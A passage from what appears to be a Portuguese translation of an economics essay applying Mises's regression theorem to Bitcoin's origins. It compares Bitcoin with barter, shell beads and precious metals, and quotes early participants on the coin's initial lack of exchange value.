&lt;p>Ao explicar a emergência do dinheiro &lt;em>após passar&lt;/em> por um campo de batalha de meios de troca concorrentes, a sequência avança no tempo, o oposto de &amp;ldquo;regredir&amp;rdquo; para trás. Regredir analiticamente para trás, como ilustra a metáfora evolutiva, tenderá a perder todas as outras ramificações na árvore. Ele só encontrará uma cadeia direta de ancestrais voltando do ponto de partida da regressão. Indo para frente no tempo, no entanto, pode revelar outras ramificações (todos os meios concorrentes de troca), incluindo becos sem saída e novos começos.&lt;/p>
&lt;p>Um padrão repetitivo na evolução da vida a longo prazo é a morte de espécies antigas que já foram dominantes e o surgimento de novas espécies dominantes, muitas vezes com tamanhos, velocidades, habitats e estratégias radicalmente diferentes em comparação com os reis antecessores da selva.&lt;/p>
&lt;p>É por isso que correr a lógica de regressão apenas para trás no tempo e não a executar para a frente, além disso, poderá levar a simplificações excessivas. As únicas opções vistas indo para trás do dinheiro atual serão logicamente os ancestrais diretos do que acabou se tornando o dinheiro atual até aquele ponto no tempo. Vai perder qualquer coisa que não esteja nessa linhagem em particular. Executar o processo novamente a partir de cada meio inicial de troca pode revelar concorrentes em diferentes linhas, muitas das quais podem ter sido experimentadas, algumas das quais conseguiram até certo ponto, algumas das quais podem estar ganhando terreno, e apenas uma delas é a unidade dominante de precificação e contabilidade em uma área de mercado relevante — até o momento atual.&lt;/p>
&lt;h2 id="a-presença-de-conjuntos-de-preços-pré-existentes">A presença de conjuntos de preços pré-existentes&lt;/h2>
&lt;p>É uma questão simples hoje para as pessoas valorizarem o poder de compra relativo do Bitcoin, fazendo referência ao seu valor de câmbio contra o dinheiro local usando uma taxa de câmbio pública em tempo real disponível em qualquer dispositivo conectado à internet. O Bitcoin funciona agora como um meio de troca. Eu defini isso como sendo algo que pode ser oferecido para pagar preços. Os preços são denominados em &amp;ldquo;dinheiro&amp;rdquo;, que eu defini como a unidade dominante de preços, contabilidade e cálculo econômico em um determinado contexto. Não há nenhuma razão fundamental pela qual o Bitcoin também não poderia algum dia assumir papéis tão amplos se ele se tornar relativamente mais estável, mais global ou de outra forma mais adequado para isso do que seu concorrente ativo mais próximo. Ele já preenche a função de denominação de preço dentro de certos contextos estreitos dentro da economia Bitcoin.&lt;/p>
&lt;p>Ao contrário dessa situação, algumas apresentações do teorema da regressão trataram a evolução de um meio de troca em um contexto em que não existe nenhuma unidade anterior de precificação. Isso significa que nenhum conjunto de preços relativos foi usada na sociedade no início.&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup> O caso da evolução original do Bitcoin introduz a necessidade de algumas qualificações relativas a tais contas na medida em que surgiu como um novo meio de troca em um contexto no qual já existia uma matriz avançada de preços relativos de dinheiro para bens e serviços.&lt;/p>
&lt;p>Os desafios evolutivos do Bitcoin foram, portanto, diminuídos consideravelmente em relação a uma situação em que não existia conhecimento de preços relativos no mercado. Neste caso contrafactual, uma matriz totalmente nova de preços de mercado &lt;em>diretamente em relação ao Bitcoin&lt;/em> teria que se desenvolver através de processos de tentativa e erro de negociações diretas de Bitcoin para bacon, Bitcoin para ovos e Bitcoin para cavalos, ao mesmo tempo em que tentava referenciar taxas não mediadas de troca entre ovos e bacon, entre bacon e cavalos, e assim por diante - tudo até que um conjunto razoável de preços relativos de mercado começasse a tomar forma novamente denominada na nova unidade.&lt;/p>
&lt;p>No caso factual, no entanto, o Bitcoin só teve que saltar um obstáculo muito mais simples (embora ainda bastante desafiador à sua maneira). Ele só tinha que desenvolver um valor de troca de mercado contra o dinheiro existente em cada local de comércio. Poderia então &amp;ldquo;bootstrap&amp;rdquo; seu valor médio-cambial relativo para o conjunto completo existente de preços de mercado, uma vez que estes já eram expressos em dinheiro em cada região geográfica.&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Até hoje, a maioria das coisas compradas e vendidas com Bitcoin têm preço em dinheiro local. Uma soma equivalente atual baseada na taxa de câmbio do Bitcoin é então usada para realmente pagar esses preços.&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> Insistir em uma evolução independente de um nova conjunto de preços relativos diretamente em termos de Bitcoin, no entanto, teria sido absurdo e desnecessário. Não havia necessidade prática de reinventar esse conjunto específico de rodas nos locais relevantes e no período de 2009 a 2010.&lt;/p>
&lt;p>Se algo como o Bitcoin &lt;em>poderia&lt;/em> possivelmente emergir diretamente de um estado de troca pura é tão hipotético a ponto de chegar ao reino nem mesmo da ficção científica, mas da fantasia. Isso porque um estado de troca pura só poderia suportar uma economia tão primitiva e próxima da produção direta através da caça, coleta, e talvez alguma agricultura limitada, que a produção elétrica necessária, a infraestrutura de internet, tecnologias de desenvolvimento de chips de computador, telas, e assim por diante também não poderia existir ou persistir no contexto postulado, tornando a hipótese indiscutível.&lt;/p>
&lt;p>Embora os princípios do teorema da regressão sejam aplicáveis a quaisquer instâncias do universal, o contexto técnico necessário aqui também inclui um estágio de complexa evolução social e técnica construída sobre uma ampla divisão do trabalho e em outras etapas anteriores. Tais altas tecnologias obviamente não poderiam continuar a existir se suas fundações fossem perdidas.&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup> Um estado puro de troca só poderia suportar, talvez, alguns pontos percentuais da população humana atual, na melhor das hipóteses. Isso significa que a perda da conveniência de um dinheiro na internet estaria entre as menores dificuldades a serem encontradas em tal cenário.&lt;/p>
&lt;h2 id="levando-o-de-volta-para-o-bife-os-ovos-e-a-farinha">Levando-o de volta para o bife, os ovos e a farinha&lt;/h2>
&lt;p>Uma hipotética bastante primitiva pode, no entanto, ajudar a trazer o componente &amp;ldquo;de origens&amp;rdquo; do teorema da regressão para fora da abstração, onde as confusões podem persistir mais facilmente, em um reino muito mais próximo da experiência concreta. Não basta apenas mostrar que o Bitcoin é explicável em termos de teoria econômica. Deve-se deixar claro também que o teorema da regressão não está ameaçado por este desenvolvimento empírico.&lt;/p>
&lt;p>Começando em um hipotético cenário de troca pura, eu quero trocar bife por um pouco de farinha. No entanto, o moleiro é um ovo-vegetariano. A dupla coincidência de desejos necessários para uma troca acontecer está ausente.&lt;/p>
&lt;p>Preciso encontrar outra coisa para trocar com o moleiro se for comprar farinha dele. Tudo o que eu conseguir para facilitar esse comércio já funcionará tecnicamente como um &amp;ldquo;meio de troca&amp;rdquo; dentro do contexto estreito da minha transação desejada, independentemente do que qualquer outra pessoa esteja fazendo na minha hipotética comunidade. Um meio de troca, neste sentido mais nu, é um bem que facilita uma troca que não está acontecendo diretamente entre duas partes por causa da ausência de uma coincidência mútua correspondente de desejos.&lt;/p>
&lt;p>A absorção de um meio de troca a partir de zero começa com um único ato criativo de comércio em duas etapas entre três partes. Somente uma vez que tenha começado a ser colocado em prática, ele pode possivelmente começar a ser copiado e espalhado. A prática da troca indireta em si é uma invenção e uma descoberta. Processos subsequentes podem classificar &lt;em>quais&lt;/em> tipos de bens tenderão a ser mais ou menos úteis nesta função social em um determinado contexto. Descobrir como fazer trocas indiretas de forma mais frequente e eficaz, e com o quê, é uma camada de experimentação distinguível da ideia geral de se envolver em troca indireta.&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Neste caso, eu percebo que como um &lt;em>ovo&lt;/em>-vegetariano, o moleiro come ovos. Eu ando até Friedrich, o criador de galinhas e troco um bife por alguns ovos. Então, eu ando de volta para o moleiro e troco ovos por farinha. A exigência aqui é que o moleiro aceite ovos. Se ele não o fizer, minha tentativa de troca indireta falha. Se for bem sucedido, os ovos já funcionaram como um meio de troca dentro dessa transação.&lt;/p>
&lt;p>O moleiro tem que valorizar os ovos &lt;em>como ovos&lt;/em> para que isso conte como um &lt;em>primeiro surgimento&lt;/em> do valor de troca indireto para ovos. Eu obtive ovos para seu uso como um meio de troca para a minha transação. Ao fazer isso, eu os valorizo para este propósito. Se o moleiro não aceita ovos, no entanto, minha valorização dos ovos como meio de troca é uma perda fracassada, uma perda empreendedora da minha parte. Só estou preso com alguns ovos extras. Este esforço depende do meu sucesso prático em entender o que meus potenciais parceiros comerciais aceitarão ou não no comércio.&lt;/p>
&lt;p>A única maneira deste componente de valor dos ovos &lt;em>como&lt;/em> um meio de troca pode possivelmente vir a ser no início é se alguém vier aceitá-los como ovos &lt;em>porque&lt;/em> eles querem ovos, e &lt;em>não&lt;/em> porque eles já querem trocar os ovos novamente com outra pessoa. Um processo circular de auto reforço da demanda social só pode vir a funcionar após a prática de troca indireta usando ovos ter começado a se mover em um determinado contexto social.&lt;/p>
&lt;p>Só então as expectativas desse componente adicional de ampliação da venda podem começar a ser construídas entre os agentes relevantes. Após o surgimento do novo componente de valor como meio de troca e persistência em um determinado contexto, os componentes de valor não-meio-de-troca poderiam teoricamente desaparecer completamente.&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup>&lt;/p>
&lt;p>No entanto, os ovos, em particular, não tendem a ir muito longe neste papel. Eles estragam depois de um tempo. Poderíamos usar algumas datas de validade, mas isso cria uma heterogeneidade fatal entre as unidades devido ao desconto de idade. E os ovos são bastante pesados e difíceis de transportar longe sem quebrar. Itens muito mais duráveis têm repetidamente se tornado mais bem sucedidos neste papel.&lt;/p>
&lt;h2 id="120000-anos-de-meros-colecionáveis">120.000 anos de &amp;ldquo;meros&amp;rdquo; colecionáveis&lt;/h2>
&lt;p>O primeira provável meio histórica de troca que aparece repetidamente no registro arqueológico em muitas áreas geográficas diferentes são cadeias de miçangas esculpidas de várias conchas. O mais antigo achado conhecido de tais miçangas longe do oceano está na Argélia moderna e data de cerca de 120.000 anos atrás. Quando os itens são encontrados tão longe da fonte, é considerado um bom sinal de que eles provavelmente foram obtidos em trocas.&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Nick Szabo em suas discussões sobre as origens do dinheiro chamou esse tipo de proto-dinheiro de &amp;ldquo;colecionáveis&amp;rdquo;.&lt;sup id="fnref:25">&lt;a href="#fn:25" class="footnote-ref" role="doc-noteref">25&lt;/a>&lt;/sup> Eles não são úteis no que poderia ser considerado qualquer sentido prático. São coisas que muitas pessoas gostam de ter em virtude de gostarem de colecioná-las e usá-las. Eles são distintos, raros e difíceis de encontrar, duram muito tempo, e são altamente portáteis. Szabo também apontou as características de segurança desses itens. Uma vez que eles podem ser usados, um ladrão é reduzido a agarrá-los diretamente de uma pessoa em vez de apenas pegá-los silenciosamente sem ser visto. Esses pequenos colecionáveis também podem ser facilmente enterrados ou escondidos durante momentos de problemas e recuperados em algum momento posterior.&lt;/p>
&lt;p>Eles não eram bem moedas em um sentido moderno, mas eram usados para desempenhar algumas das mesmas funções: armazenar valor por longos períodos, transferi-lo entre gerações como por ocasião de casamentos, usá-lo em trocas maiores ou para ajudar a selar pactos, e como um seguro, permitindo a compra de grupos vizinhos diante de uma queda local na disponibilidade de alimentos. No entanto, todos esses usos teriam que ter sido descobertos gradualmente &lt;em>depois&lt;/em> das miçangas já terem sido usadas como ornamentos. Eles tinham que ter algum valor de não negociação antes que pudessem começar a ser negociados.&lt;/p>
&lt;p>Acontece que tais colares de miçangas de concha têm características que agora entendemos em retrospectiva como características essenciais de meios de troca e armazenamento de valor. São duráveis, divisíveis, portáteis e até certo ponto intercambiáveis (embora cores e tipos diferentes possam naturalmente ser valorizados de forma diferente). As contas podem ser retiradas, contadas e reestruturadas em diferentes configurações numéricas.&lt;/p>
&lt;p>E assim, é fácil imaginar como a troca indireta usando-as poderia começar a gradualmente se desenvolver e se espalhar. Evidências arqueológicas altamente sugestivas de comércio de longa distância usando colares de miçangas remontam a muitas dezenas de milhares de anos e são encontradas em muitas áreas diferentes.&lt;/p>
&lt;p>Mais tarde, descobrimos que as pessoas também gostam de coletar pedaços de metais brilhantes que não eram realmente bons para muito que era &amp;ldquo;prático&amp;rdquo; também. As pessoas os modelam em decorações vestíveis e, eventualmente, alguns outros itens, como vasos chiques. Visto em uma escala de longo tempo, o uso de metais preciosos em moedas é um desenvolvimento histórico bastante recente.&lt;/p>
&lt;p>A cunhagem lydian por volta de 700 a.C. é tipicamente citada a primeira moeda de metal precioso. Foi feita de electrum, uma liga natural de ouro/prata (com percentuais naturalmente variados de cada). Isso foi antes do desenvolvimento de métodos eficazes de refino. Os usos industriais e eletrônicos às vezes elogiados de ouro e prata são todos bastante modernos e, portanto, totalmente irrelevantes para &lt;em>o primeiro surgimento&lt;/em> desses metais em um papel de comércio monetário em vários lugares muitos séculos antes.&lt;/p>
&lt;p>O Bitcoin, durante pelo menos seu primeiro ano ou dois, também poderia facilmente ter sido descrito como uma curiosidade estranha e inútil sem valor prático. Apenas alguns programadores e criptógrafos acreditavam que o Bitcoin poderia acabar se tornando útil para qualquer outra coisa além de jogar em computadores. Bitcoin foi uma ideia e, em seguida, um experimento de ciência da computação e criptografia. Não ficou claro com antecedência ou mesmo depois de ter começado se funcionaria tecnicamente ou decolaria economicamente. Chegou depois de uma longa trilha de experiências fracassadas. Por que não se tornaria apenas mais uma experiência fracassada?&lt;/p>
&lt;p>Só mais tarde, uma população mais ampla começou a ouvir sobre as possibilidades de usar bitcoins, aqueles objetos digitais escassos sem sentido para negociar por bens e serviços &amp;ldquo;reais&amp;rdquo;.&lt;/p>
&lt;p>Mas, claro, já vimos versões de tudo isso antes. Nós vimos isso com colares de miçangas dezenas de milhares de anos atrás, e nós vimos isso com pessoas brincando com metais macios e brilhantes há milhares de anos. Agora, vemos isso com entradas de livros digitais formando objetos digitais que realmente não existem em certos sentidos.&lt;sup id="fnref:26">&lt;a href="#fn:26" class="footnote-ref" role="doc-noteref">26&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Ao enquadrar a questão fundamental das origens do dinheiro em 1892, Carl Menger observou que:&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>Qual é a natureza desses pequenos discos ou documentos, que por si só parecem não servir a nenhum propósito útil, e que, no entanto, em contradição com o resto da experiência, passam de uma mão para outra em troca de mercadorias mais úteis, ou melhor, para as quais cada um está tão ansiosamente empenhado em entregar seus produtos&lt;sup id="fnref:27">&lt;a href="#fn:27" class="footnote-ref" role="doc-noteref">27&lt;/a>&lt;/sup>? (2009, 12–13)&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Uma maneira de os modernos abordarem o desafio de entender como as entradas de livros digitais que eles nem sequer compreendem poderiam ser &amp;ldquo;realmente&amp;rdquo; valiosas é refletir sobre como novos tipos estranhos de meios de troca anteriores devem ter parecido para as pessoas no passado distante a partir de &lt;em>suas perspectivas&lt;/em>.&lt;/p>
&lt;p>As cordas das contas são, acima de tudo, objetos não práticos e opcionais. Comparado com carne, tubérculos e frutos; em comparação com lanças, roupas e ferramentas; colares de miçanga e valor &amp;ldquo;real&amp;rdquo; deve ter parecido algo distante. E ainda assim, com o tempo, algumas pessoas pareciam gostar de fazê-las e colecioná-las se pudessem. Eram decorativos. Eram raros e difíceis de encontrar. Levou muito tempo para esculpi-los. Eles duraram muito tempo (e como, ainda podemos desenterrá-los 120.000 anos depois). Eles socialmente demonstraram um certo poder de excesso de capacidade precisamente por causa de sua impraticabilidade.&lt;/p>
&lt;p>Da mesma forma, peças brilhantes de prata, ouro ou electrum na maioria dos lugares há milhares de anos não eram o epítome da utilidade. A lã era quente, a carne podia se alimentar, um arado poderia melhorar a colheita. As armas podem ser úteis. O que houve com essas substâncias brilhantes que podiam ser moldadas em bugigangas e usadas?&lt;/p>
&lt;p>Imagine como isso pode muito bem ter parecido para as pessoas para quem era inteiramente novo. Ao ouvir que algumas pessoas no encontro comercial anual poderiam aceitar esses metais (nem mesmo joias, apenas pedaços brutos de metal), o que um pastor poderia pensar?&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>&amp;ldquo;Eu vou ter que ver isso por mim mesmo! Você está me dizendo que as pessoas são tolas o suficiente para aceitar pequenos pedaços brilhantes de metal para bens reais?&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Claro, &lt;em>em retrospecto&lt;/em>, é fácil para nós entendermos em que isso pode chegar. Tais metais são fortes em uma série de características monetárias que os economistas agora entendem conceitualmente que podem ajudar a facilitar o comércio. E, como colares, a usabilidade e a ocultabilidade das joias podem conferir uma certa vantagem de segurança e poupança. Muitas mulheres indianas até hoje tendem a usar suas economias familiares de longo prazo.&lt;/p>
&lt;p>Mas, para aqueles que não têm tanto conhecimento, que estranho novo mundo deve ter sido, aprender a trocar coisas úteis por bugigangas inúteis, vez após vez, geração após geração, até que a prática tomou conta mais amplamente, até que as pessoas &amp;ldquo;compraram&amp;rdquo; a ideia bizarra de que esses materiais também poderiam ser &amp;ldquo;úteis&amp;rdquo; e valiosos não apenas como objetos bonitos vestíveis, mas também &lt;em>como&lt;/em> unidades dentro de um sistema social que facilita o comércio.&lt;/p>
&lt;p>De fato, devido ao estado lamentável da educação econômica, a maioria das pessoas até hoje ainda não entende conceitualmente a magnitude dos ganhos mútuos que vêm de possibilidades mais amplas de negociação, facilitadas pelo dinheiro. Eles não entendem que sem essas práticas distintamente humanas de negociar o bem para o bem e usar o dinheiro, apenas a menor fração da população atual poderia sobreviver por muito tempo.&lt;/p>
&lt;h2 id="camadas-técnicas-e-econômicas-sempre-presentes">Camadas técnicas e econômicas sempre presentes&lt;/h2>
&lt;p>O caso do Bitcoin também mostra como a linha entre invenção e descoberta é muito mais tênue do que se imagina. Em cada caso de evolução monetária inicial, há um aspecto técnico e econômico. Antes que algo possa começar a funcionar no comércio, ele deve primeiro existir de alguma forma minimamente negociável. Os colares devem ser esculpidos, pedaços de metais raros desenterrados e limpos e posteriormente moldados ou até mesmo refinados.&lt;/p>
&lt;p>Não é diferente com o Bitcoin. Bem antes que as unidades pudessem começar a funcionar em troca, elas tinham que ser trazidas à existência de uma maneira que os agentes humanos pudessem reconhecê-las, começar a brincar com elas, e eventualmente começar a dar o salto de lidar com elas contra bens e serviços &amp;ldquo;reais&amp;rdquo;. A rede primeiro teve que ser imaginada e lançada. Tinha que ser testado e refinado, desafiado e comprovado ao longo do tempo.&lt;/p>
&lt;p>Em cada caso de uma nova evolução monetária, há uma fase durante a qual alguma forma utilizável das unidades que eventualmente serão negociadas irá existir pela primeira vez. Isso está na camada técnica. Só então uma camada monetária pode possivelmente emergir com a negociação dessas unidades tecnicamente desenvolvidas. As camadas técnicas e econômicas continuam a evoluir e interagir, tomando formas como melhores ferramentas de escultura de colares, técnicas de refino de metal ou o próximo lançamento de software do Bitcoin. No entanto, ainda é importante entender como tanto as camadas técnicas quanto econômicas estão sempre presentes, e não apenas com o Bitcoin.&lt;/p>
&lt;p>As camadas técnicas envolvidas na produção e troca de unidades de commodities físicas são obviamente bastante diferentes das camadas técnicas correspondentes para unidades de uma moeda criptográfica descentralizada. Da mesma forma, as camadas técnicas envolvidas na sinalização de fumaça são bem diferentes das camadas técnicas envolvidas nas interfaces de bate-papo na internet. No entanto, ambos os tipos de métodos tecnológicos conseguiram cumprir, em diferentes graus, os propósitos humanos de canalizar mensagens à distância (a camada &amp;ldquo;econômica&amp;rdquo;).&lt;/p>
&lt;p>O que pode ter levado dezenas de milhares de anos, lugar por lugar, começando com colares, e séculos para metais preciosos, pode agora estar levando alguns anos e meses para o Bitcoin. Em casos passados, a prática de usar itens específicos no comércio se desenvolveu em cronogramas separados em cada contexto geográfico. Hoje, no entanto, os contextos de comércio, imitação e descoberta são definidos em escala global pela demografia e escolhas dos usuários na internet, em vez de na geografia local ou nas particularidades das rotas de comércio terrestre e marítima. A comunicação global instantânea e o fluxo de notícias, as mídias sociais, a publicidade e a familiaridade completa das pessoas modernas com o conceito geral de troca indireta em larga escala são agora catalisadores.&lt;/p>
&lt;h2 id="a-importância-das-perspectivas-do-sistema-e-da-unidade">A importância das perspectivas do sistema e da unidade&lt;/h2>
&lt;p>Qualquer sistema monetário não é apenas uma coleção de unidades fora de contexto, mas um &lt;em>sistema&lt;/em>. Isso inclui uma rede de pessoas com um entendimento social semelhante sobre os &lt;em>usos de negociação&lt;/em> das unidades relevantes. Objetos isolados não constituem um sistema de troca.&lt;sup id="fnref:28">&lt;a href="#fn:28" class="footnote-ref" role="doc-noteref">28&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Com o Bitcoin, o aspecto &amp;ldquo;sistema&amp;rdquo; é muito mais proeminente do que o aspecto &amp;ldquo;unidade&amp;rdquo; quando comparado com as evoluções anteriores do mercado de meios tangível de troca. O aspecto do sistema é agora literalmente uma rede de computação maciça — já a mais poderosa do planeta em poder de processamento bruto por uma margem muito grande — uma rede de desenvolvimento de software totalmente voluntária e cópias distribuídas incalculáveis da cadeia de blocos de registro descentralizado infalsificáveis.&lt;/p>
&lt;p>As unidades de Bitcoin podem existir apenas &lt;em>na&lt;/em> cadeia de blocos e só podem ser transferidas de endereços(es) para endereços(es) no contexto da rede Bitcoin online.&lt;sup id="fnref:29">&lt;a href="#fn:29" class="footnote-ref" role="doc-noteref">29&lt;/a>&lt;/sup> Possuir um bitcoin em um determinado momento também pode ser visto como análogo à possuir ações para adesão no clube de negociação baseado em blocos. Todos os controladores atuais das unidades bitcoin são capazes de usar tanto o sistema de negociação quanto suas unidades para seus próprios propósitos de acordo com seu grau de &amp;ldquo;envolvimento financeiro&amp;rdquo; autodefinido para o sistema.&lt;/p>
&lt;p>No entanto, se engajar um meio de troca, começando a usá-lo como um sempre insinuou algo mais do que apenas comprar alguns objetos fora de contexto. Significa, pelo menos implicitamente, se não explicitamente, demonstrar uma pequena margem de apoio à ideia de que esse tipo de unidade é algo que pode funcionar como um meio de troca na sociedade. É devido ao processo de mais e mais pessoas, uma a uma, fazerem essa afirmação mais ampla de &amp;ldquo;sistema&amp;rdquo; aceitando, economizando e gastando uma unidade, que começa a se desenvolver algo além de um mero item colecionável. É apenas no contexto de um sistema de negociação ativo que esse ciclo de avaliação adicional pode ser construído. Isso é verdade para todos os meios de comunicação possíveis à medida que crescem nessa função, independentemente de características técnicas incidentais, como tangibilidade versus intangibilidade.&lt;/p>
&lt;p>Em casos históricos anteriores, o aspecto unitário era mais óbvio e o aspecto de compra do sistema perceptível apenas de forma mais abstrata e indireta. Com o Bitcoin, no entanto, o aspecto de compra do sistema é mais óbvio e explícito, enquanto o aspecto unitário só é perceptível de forma mais abstrata e indireta. Não é mais possível perder o aspecto de sistema porque as unidades bitcoin são compreensíveis apenas dentro do contexto do sistema de Ledger descentralizado que permite uma primeira apropriação confiável (mineração), armazenamento e transferência. A realidade subjacente que sustenta o aspecto de sua unidade é técnica e de difícil de entender.&lt;/p>
&lt;p>Em contraste, moedas de metal precioso, embora também totalmente incorporadas em um sistema de comércio social, destacaram-se desse sistema por sua concretude e tangibilidade. Com uma moeda de metal, ainda se podia imaginar ingenuamente que ela de alguma forma tinha valor por si só. No entanto, isso nunca foi verdade. O valor da troca depende sempre depende da vontade de um comprador a comprar. O componente de valor como meio de troca também depende sempre da expectativa implícita de aceitação futura por pelo menos uma outra parte. Uma unidade de negociação só pode funcionar dentro de um sistema de comércio social.&lt;/p>
&lt;p>Vimos acima que uma tentativa de troca indireta de bife por farinha fracassaria se a parte pretendida para o segundo comércio (o moleiro) não aceitasse o bem de intermediação pretendido (ovos). O componente de valor como meio de troca de um bem que se torna mais geralmente utilizado nesse papel pode se multiplicar na medida em que outros começam cada vez mais a aceitá-lo no comércio &lt;em>em virtude de&lt;/em> eles também esperarem que outros ainda o aceitem em negociações subsequentes. Este ciclo de construção de valor pode ser circular e se auto reforçar. No entanto, nenhum ciclo pode começar a si mesmo em causação circular. É o teorema da regressão que explica em termos abstratos o que deve estar presente para que se &lt;em>inicie&lt;/em> qualquer ciclo de rede auto reforçado — alguma outra valorização anterior ao início de seu uso.&lt;/p>
&lt;h2 id="uma-ilustração-bem-documentada">Uma ilustração bem documentada&lt;/h2>
&lt;p>As unidades bitcoin não tinham nenhum valor de troca reconhecido por quase um ano depois que a rede Bitcoin começou a funcionar em janeiro de 2009. Eles também ainda não tinham nenhum uso como meios de troca. Eles não facilitaram nenhuma negociação. Em vez disso, programadores e entusiastas da criptografia estavam executando o software, conectando-se à rede novata, testando o código e trabalhando para melhorá-lo, minerando bitcoins e enviando bitcoins um para o outro para diversão e experimento.&lt;/p>
&lt;p>Peter Šurda tem reunido algumas evidências do relatório em primeira mão sobre este período inicial. Em um post recente&lt;sup id="fnref:30">&lt;a href="#fn:30" class="footnote-ref" role="doc-noteref">30&lt;/a>&lt;/sup> ele citou o participante e desenvolvedor Mike Hearn falando de sua perspectiva como um novo participante nos primeiros dias:&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>Eu achei [Bitcoin] muito cedo, quando ninguém estava usando, então ninguém, nenhuma corretora, tinha qualquer taxa de câmbio, então eles estavam apenas completamente flutuando em um espaço abstrato. Você sabe, o que era que definia uma moeda? Bem, nada realmente.&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Adam Back, o desenvolvedor de elementos-chave que acabaram sendo usados como partes do sistema Bitcoin, foi altamente cético durante este período inicial de desenvolvimento. A seguir, a partir de um comentário que ele deixou sob o post acima:&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>Eu ainda esperava a descoberta de soluções mais eficientes&amp;hellip; Eu também estava pensando que o bitcoin era uma chance de 1 em um milhão de que ele poderia explodir para um valor não-recreativo. Então eu não baixei, nem o meu naquela época&amp;hellip; Então, apesar de inventar a função de mineração que o bitcoin usa, e gastar muito esforço de pesquisa ao longo de talvez 5 anos com outros como Wei Dai, Hal Finney, Nick Szabo e um elenco de dezenas, incluindo colaboradores anônimos (um dos quais pode ter sido Satoshi) na tentativa de descobrir como projetar um sistema e-cash descentralizado usando hashcash como uma função de mineração, eu não acordei até anos depois, quando era claramente óbvio que o bitcoin tinha explodido.&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Nos primeiros dias, até mesmo especialistas nos campos relevantes, e ainda mais qualquer outra pessoa, poderiam facilmente ter visto a mineração de bitcoins como uma atividade bastante inútil. Teria sido fácil para os forasteiros, em particular, descartá-lo como não muito diferente, em princípio, de uma versão glorificada do jogo social online Farmville. A diferença era que era como se alguns dos jogadores também estivessem convencidos de que tinham descoberto o futuro da agricultura real. Isso só fazia parecer mais ridículo do que apenas jogar um jogo.&lt;/p>
&lt;p>Em jogos agrícolas, um número incontável de pessoas é conhecido por plantar sementes de plantas &amp;ldquo;sem sentido&amp;rdquo; usando seus computadores. Eles ansiosamente verificam de volta mais tarde para colher as culturas resultantes. Esses objetos irreais podem se tornar bastante significativos para os jogadores depois de passarem dezenas ou centenas de horas construindo um negócio próspero (inexistente).&lt;/p>
&lt;p>No entanto, mesmo tais itens digitais de jogo também devem ser contados como mercadorias de acordo com a estrita abordagem misesiana da economia, que estuda a ação como tal. Como campo, a economia na tradição misesiana não deve julgar objetivamente se certas ações são &amp;ldquo;racionais&amp;rdquo; e outras não, certas ações &amp;ldquo;econômicas&amp;rdquo; ou &amp;ldquo;morais&amp;rdquo; e outras não, e assim por diante. São tarefas reservadas para outras áreas, como filosofia ou psicologia, com diferentes metodologias e critérios. As mercadorias que existem apenas dentro dos jogos também são mercadorias do ponto de vista daqueles que estão engajados em jogar esses jogos e gastando tempo e esforço para obter essas mercadorias.&lt;sup id="fnref:31">&lt;a href="#fn:31" class="footnote-ref" role="doc-noteref">31&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Todas as sementes inexistentes e produzidas em jogos agrícolas, alguns críticos podem argumentar, são &amp;ldquo;realmente&amp;rdquo; apenas uns e zeros em um computador, como são, alegam, os bitcoins. No entanto, os proponentes dessa visão reconheceriam que a diferença entre um filme digital e outro, ou um arquivo de música e outro, é igualmente redutível para os intercambiáveis uns e zeros?&lt;/p>
&lt;p>Tente dizer a alguém absorto em um filme de ação ou um jogo de esportes favorito que seria &amp;ldquo;realmente&amp;rdquo; o mesmo se eles mudassem para um vídeo &lt;em>Hello Kitty&lt;/em> ou para uma partida de algum esporte estrangeiro que eles detestavam. Agora pegue a música pop de uma estrela teen e as playlists clássicas do vovô, troque-as e veja o que acontece. A realidade das distinções significativas entre &amp;ldquo;uns e zeros&amp;rdquo; quando se trata de bens digitais terá sido convincentemente estabelecida (se o experimentador conseguir sobreviver para relatar os resultados).&lt;/p>
&lt;p>Alguns dos primeiros mineradores/experimentadores do Bitcoin, pelo menos aqueles que acreditavam que o sistema tinha um futuro, acumularam bitcoins, apenas no caso de seu valor de alguma forma subir no futuro. Para os participantes, depois de começar, às vezes pode ter sido mais fácil manter as moedas do que se livrar delas. Enquanto alguns as mantinham seguros, porém, outros mineradores antigos apagaram arquivos de carteira que transmitiam acesso a um grande número de bitcoins. Outros não consideraram que valia a pena começar. Eles estavam convencidos de que nada viria dessas unidades particulares no futuro. Cada um deles fizeram julgamentos distintos, valorações demonstradas por suas ações.&lt;/p>
&lt;p>Muitos sistemas estavam lá fora esperando ter sucesso como uma espécie de novo dinheiro digital — e falhando nisso. Especialistas não podiam universalmente prever que este novo decolaria. Seu sucesso começou com uma nova combinação de ideias, mas seu sucesso teve que ser definido através de experimentação e descoberta na prática. &lt;em>Se&lt;/em> o propósito de alguém tinha sido negociar ou comprar bens ou serviços com Bitcoins em seu primeiro ano ou segundo ano, então esses &lt;em>foram&lt;/em> totalmente inúteis. No entanto, eles já tinham gradualmente vindo a desempenhar vários papéis nas estruturas de ação de alguns experimentadores iniciais.&lt;/p>
